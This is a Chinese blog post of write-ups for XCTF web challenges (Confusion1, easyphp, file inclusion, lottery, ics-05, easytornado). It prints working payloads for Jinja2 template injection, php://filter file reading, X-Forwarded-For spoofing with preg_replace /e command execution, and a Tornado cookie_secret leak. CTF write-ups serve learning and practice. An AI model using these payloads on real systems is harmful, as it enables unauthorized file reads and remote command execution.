我是靠谱客的博主 开心水蜜桃,最近开发中收集的这篇文章主要介绍XCTF相关题解Confusion1,easyphp文件包含,lottery,ics-05,easytornado(框架)一、xctf-Confusion1,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

一、xctf-Confusion1

尝试SSTI(服务器模板注入)漏洞

构造payload,{{7*7}}}

然后继续构造{{7*'7'}}}

发现是Jinja2或Twig模板(我也不清楚)

使用的payload,使用的payload,{{’’. __ class __ . __ mro __ [2]. __ subclasses __()}};

发现有弹窗,所以是过滤了采用{{url_for.__ globals __}}

接下来使用{{''[request.args.a]}}?a=__ class __发现有绕回

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
这里的flag是之前的longin页面和register页面

二、easyphp

intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
{"name": "string","age":22}

这里要进行代码审计,

看一下第一个语句

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
   if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
       $key1 = 1;
     
}else{
           die("Emmm...再想想");
     
}
 
}else{
   die("Emmm...");
}

isset()

三、题目名称-文件包含

实现文件包含功能的函数:include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readline

php的文件包含漏洞,一般用到如下各种伪协议

file:// 访问本地文件系统
http:// 访问http(s)网址
ftp:// 访问ftp
php:// 访问各个输入/输出流
zlib:// 压缩流
data:// 数据
rar:// RAR压缩包
ogg:// 音频流
convert.iconv.[]过滤器绕过,[]中支持以下字符编码(* 表示该编码也可以在正则表达式中使用)
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*

这里我们尝试构造payload

?filename=php://filter//convert.iconv.UCS-4*/resource=/var/www/html/flag.php

结果发现没有变化,如果使用其他编码则显示报错,接下来我看wp是结合其他编码进行绕过

拓展一下

ROT13 编码简单地使用字母表中后面第 13 个字母替换当前字母,同时忽略非字母表中的字符。
#php://filter/string.rot13/resource=flag.php
string.toupper将字符串转化为大写
#php://filter/string.toupper/resource=flag.php
string.toupper 将字符串转化为小写
#php://filter/string.tolower/resource=flag.php
string.strip_tags从字符串中去除 HTML和PHP 标记,尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。
#php://filter/string.strip_tags/resource=flag.php
Conversion Filters(转换过滤器)
Conversion Filters(转换过滤器)如同 string. 过滤器,convert. 过滤器的作用就和其名字一样。
convert.base64-encode & convert.base64-decode
#php://filter/convert.base64-encode/resource=flag.php
convert.quoted-printable-encode & convert.quoted-printable-decode
#php://filter/convert.quoted-printable-encode/resource=flag.php

压缩过滤器

zlib.deflate(压缩)
php://filter/zlib.deflate/resource=flag.php
zlib.inflate(解压)
php://filter/zlib.deflate|zlib.inflate/resource=flag.php

绕过exit()函数,exit是终结程序的

php://filter/string.rot13/resource=文件名

四、lottery

1、存储和取回session变量的正确方法是使用PHP $_SESSION变量,需要查看关键函数,这里没有对传入的参数进行限制,而且这里没有使用强等于“===”,而是使用弱等于

===比较两个变量的值和类型;==比较两个变量的值,不比较数据类型。
​
在php中,如果bool和"任何其他类型"比较,"任何其他类型"会转换为bool。
​
在PHP中当转换为 boolean 时,以下值被认为是 FALSE :
(1) 布尔值 FALSE 本身
(2) 整型值 0(零)
(3)浮点型值 0.0(零)
(4)空字符串,以及字符串 “0”
(5)不包括任何元素的数组(注意,一旦包含元素,就算包含的元素只是一个空数组,也是true)
(6)不包括任何成员变量的对象(仅 PHP 4.0 适用)
(7)特殊类型 NULL(包括尚未赋值的变量)
(8)从空标记生成的 SimpleXML 对象
(9)所有其它值包括-1都被认为是 TRUE (包括任何资源)

先进行抓包,然后查看到一个post请求,api.php,题目里面有附件,可以下载看一下源代码,放到重发器里面,然后就更改数字为[true,true,true,true,true,true,true],等金钱攒够了就可以购买flag了

五、ics-05

点击之后查看网页源代码,发现有个a href = "?page=index" 通过这里可以知道注入的方式位

?page=XXX,所以我们可以尝试对其进行内容注入/index.php?page={{23}},发现没有反映,说明没有文件包含漏洞,所以我们可以通过php伪协议来进行注入,输入?page=php://filter/read=convert.base64-encode/resource=index.php,注入之后发现一段base64的编码,对其进行解密之后可以分析php代码

 <?php
​
$page = $_GET[page];
​
if (isset($page)) {
if (ctype_alnum($page)) {
   <br /><br /><br /><br />
   <div style="text-align:center">
       <p class="lead"><?php echo $page; die();?></p>
   <br /><br /><br /><br />
}else{
​
?>
       <br /><br /><br /><br />
       <div style="text-align:center">
           <p class="lead">
               <?php
​
               if (strpos($page, 'input') > 0) {
                   die();
             
}
​
               if (strpos($page, 'ta:text') > 0) {
                   die();
             
}
​
               if (strpos($page, 'text') > 0) {
                   die();
             
}
​
               if ($page === 'index.php') {
                   die('Ok');
             
}
                   include($page);
                   die();
               ?>
       </p>
       <br /><br /><br /><br />
}}
​
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
​
   echo "<br >Welcome My Admin ! <br >";
​
   $pattern = $_GET[pat];
   $replacement = $_GET[rep];
   $subject = $_GET[sub];
​
   if (isset($pattern) && isset($replacement) && isset($subject)) {
       preg_replace($pattern, $replacement, $subject);
 
}else{
       die();
 
}
}
?>

这里主要关注isset()函数和strpos()这两个函数

isset() 函数用于检测变量是否已设置并且非 NULL。
ctype_alnum()函数是PHP中的字符类型(CType)函数,用于检查给定的字符串是否包含字母数字字符。
​
strpos() 函数查找字符串在另一字符串中第一次出现的位置。

进行代码审计之后发现说明要想执行else,则输入的page中不能存在input、ta:text、text这些值。

继续审查代码,发现该网页还有另外一种登录方式,既可以通过本地ip登录,只需要把本地ip伪造成127.0.0.1即可。

这里可以通过插件或者X-Forwarded-For进行伪造IP,然后进行访问。

然后这里通过preg_replace函数漏洞进行攻击,我不知道这里是怎么想到的,哎,只能说我是个小废物。然后在这里构造payload ?pat=/heihei/e&rep=system(%22pwd%22)&sub=heihei

然后放包之后显示 Welcome My Admin ! /var/www/html

然后这里显示路径,对目录路径下进行遍历文件,构造?pat=/heihei/e&rep=system("ls /var/www/html ")&sub=heihei,这样文件都显示出来了

Welcome My Admin ! css index.html index.php js layui logo.png s3chahahaDir start.sh 视图.png

接下来对文件进行审核,发现s3chahahaDir这个比较可疑,我觉得没啥可不可疑,基本都是一个一个试

发现这里有个flag文件,接下来就继续读取flag文件就出来了。构造payload,

?pat=/heihei/e&rep=system("ls /var/www/html/s3chahahaDir/flag")&sub=heihei,构造之后显示如下

Welcome My Admin ! flag.php

继续构造?pat=/heihei/e&rep=system("cat /var/www/html/s3chahahaDir/flag/flag.php")&sub=heihei

结构发现啥也没显示Welcome My Admin !

我找了半天,发现其他文件下没啥,我尝试查看源代码

<!--?php

$flag = 'cyberpeace{d5b20cb9b64a1397d3ba1e5c65422a53}';

?-->

六、XCTF中easytornado(框架)

一、这里用Tornado框架漏洞

一个一个点开看,发现在/hints.txt下面有个md5

render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用,Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量

构造payload为error?msg=Error,这里可以看到注入点就是msg,然后对msg进行注入error?msg={{1*1}}发现有回显,然后继续构造payload为error?msg={{handler.settings}}通过这个获取cookie_secret,然后把cookie_secret放到脚本进行解密,将解密完之后的数据放进payload里面进行构造

file?filename=/fllllllllllllag&filehash=ae7549fbc91a9b4aee8510591c010cac

最后

以上就是开心水蜜桃为你收集整理的XCTF相关题解Confusion1,easyphp文件包含,lottery,ics-05,easytornado(框架)一、xctf-Confusion1的全部内容,希望文章能够帮你解决XCTF相关题解Confusion1,easyphp文件包含,lottery,ics-05,easytornado(框架)一、xctf-Confusion1所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(53)

评论列表共有 0 条评论

立即
投稿
返回
顶部